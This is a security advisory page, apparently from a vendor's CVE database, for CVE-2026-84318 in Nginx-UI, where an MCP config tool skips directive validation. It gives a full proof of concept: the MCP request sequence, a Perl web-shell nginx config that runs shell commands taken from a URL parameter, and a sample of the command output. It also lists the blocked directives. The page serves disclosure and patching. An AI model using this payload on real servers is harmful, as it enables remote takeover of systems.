Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
HIGH severity

CVE-2026-84318 — Nginx-UI

HIGHFix: 0xJacky/nginx-ui@23d1934

CVE-2026-84318 is a high-severity (CVSS 8.8) CWE-693 vulnerability in github.com/0xJacky/Nginx-UI. A fix is available for github.com/0xJacky/Nginx-UI — see the affected versions and patch details below.

Nginx UI: MCP `nginx_config_add` Bypasses Directive Validation — Authenticated RCE

Also known asGHSA-9jww-cxg5-rj9mGO-2026-6781
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 22, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-84318.

EPSS Exploitation Probability

via FIRST.org ↗
0.6%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs49th percentile — riskier than 49% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

CVE-2026-84318 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 394,803 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

1 pkg affected
🐹github.com/0xJacky/Nginx-UI

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The MCP tool nginx_config_add writes nginx configuration files to disk and triggers an nginx reload without calling config.ValidateConfigFile. The identical flow in the REST API (POST /api/configs) does call that function and correctly rejects dangerous directives. An authenticated attacker can exploit this gap to write config files containing any blocked directive (perl, js_import, load_module, user root, etc.), bypassing nginx-ui's entire security layer. On a server with the nginx Perl, njs, or Lua module loaded, this is post-authentication Remote Code Execution.

Details

api/config/add.go (line 46) calls config.ValidateConfigFile before writing:

err = config.ValidateConfigFile(path, content)  // validates directives, checks blocklist
if err != nil {
    cosy.ErrHandler(c, err)
    return
}

mcp/config/config_add.go (line 79) omits that call entirely and writes directly:

err = os.WriteFile(path, []byte(content), 0644)  // no ValidateConfigFile, no blocklist check
...
res := nginx.Control(nginx.Reload)               // reload triggered immediately

config.ValidateConfigFile runs two checks:

  • ValidateConfigContent — rejects control characters, enforces encoding.
  • ValidateConfigDirectives — rejects a blocklist of dangerous directives: perl, perl_modules, perl_require, perl_set, js_import, js_set, js_content, load_module (restricted modules), user root, and others.

Neither check runs on the MCP path. Note that mcp/config/config_modify.go does call ValidateConfigFile correctly — only config_add.go is affected.

The MCP endpoint (GET /mcp SSE + POST /mcp_message JSON-RPC) accepts the same JWT and node-secret tokens as the REST API, so the attack surface is any authenticated session.

PoC

1 — Control: confirm REST API blocks the payload

POST /api/configs
Authorization: <token>

{ "name": "rce.conf", "base_dir": "conf.d", "content": "<perl config below>", "overwrite": true }

Response:

HTTP 500  scope=config  code=40017
message: file content contains restricted nginx directive: {0}

ValidateConfigDirectives rejects perl — the REST API is working as intended.

2 — Open MCP SSE session

GET /mcp
Authorization: <token>
Accept: text/event-stream

Extract sessionId from the endpoint event.

3 — MCP initialize handshake

POST /mcp_message?sessionId=<id>

{ "jsonrpc": "2.0", "id": 1, "method": "initialize",
  "params": { "protocolVersion": "2024-11-05", "capabilities": {}, "clientInfo": { "name": "poc", "version": "1.0" } } }

4 — Call nginx_config_add with the identical blocked payload

POST /mcp_message?sessionId=<id>

{
  "jsonrpc": "2.0", "id": 2, "method": "tools/call",
  "params": {
    "name": "nginx_config_add",
    "arguments": {
      "name": "rce_backdoor.conf",
      "base_dir": "conf.d",
      "overwrite": true,
      "content": "server {\n    listen 8888;\n\n    location /rce {\n        perl 'sub {\n            my $r = shift;\n            my ($cmd) = ($r->args =~ /(?:^|&)cmd=([^&]*)/);\n            $cmd ||= \"id\";\n            $r->send_http_header(\"text/plain\");\n            $r->print(qx($cmd 2>&1));\n            return OK;\n        }';\n    }\n}\n"
    }
  }
}

Response (HTTP 200 OK) — file written to /etc/nginx/conf.d/rce_backdoor.conf, nginx reloaded automatically:

{
  "jsonrpc": "2.0",
  "id": 2,
  "result": {
    "content": [
      {
        "type": "text",
        "text": "{\"content\":\"...\",\"file_path\":\"/etc/managed-nginx/conf.d/rce_backdoor.conf\",\"name\":\"rce_backdoor.conf\"}"
      }
    ]
  }
}

The perl directive — explicitly listed in blockedConfigDirectives and rejected by the REST API — passes through without any check.

5 — Trigger RCE

GET http://<target>:8888/rce?cmd=id
uid=101(nginx) gid=101(nginx) groups=101(nginx)

Impact

Any authenticated user (valid JWT or node-secret) can write an nginx configuration file containing any directive from the security blocklist. nginx-ui reloads nginx automatically after the write, activating the malicious config immediately. No further interaction is required.

On servers running nginx with the Perl module (nginx:mainline-perl) or nginx+njs, this results in arbitrary OS command execution running as the nginx worker user. Combined with a user root; directive (also unblocked via this path), the worker process can be escalated to root before the RCE handler fires.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/0xJacky/Nginx-UI≥ 1.9.10-0.20250506154222-1330888280a2&&< 1.9.10-0.20260703131214-23d1934099b01.9.10-0.20260703131214-23d1934099b0go get github.com/0xJacky/Nginx-UI@v1.9.10-0.20260703131214-23d1934099b0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/0xJacky/Nginx-UI, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update github.com/0xJacky/Nginx-UI to 1.9.10-0.20260703131214-23d1934099b0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-84318 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

Frequently Asked Questions

### Summary The MCP tool `nginx_config_add` writes nginx configuration files to disk and triggers an nginx reload without calling `config.ValidateConfigFile`. The identical flow in the REST API (`POST /api/configs`) does call that function and correctly rejects dangerous directives. An authenticated attacker can exploit this gap to write config files containing any blocked directive (`perl`, `js_import`, `load_module`, `user root`, etc.), bypassing nginx-ui's entire security layer. On a server with the nginx Perl, njs, or Lua module loaded, this is post-authentication Remote Code Execution.
O3 Security · Impact-Aware SCA

Is CVE-2026-84318 in your dependencies?

Find it across Go, including transitive dependencies.

CVE-2026-84318: Nginx-UI RCE — Fix Available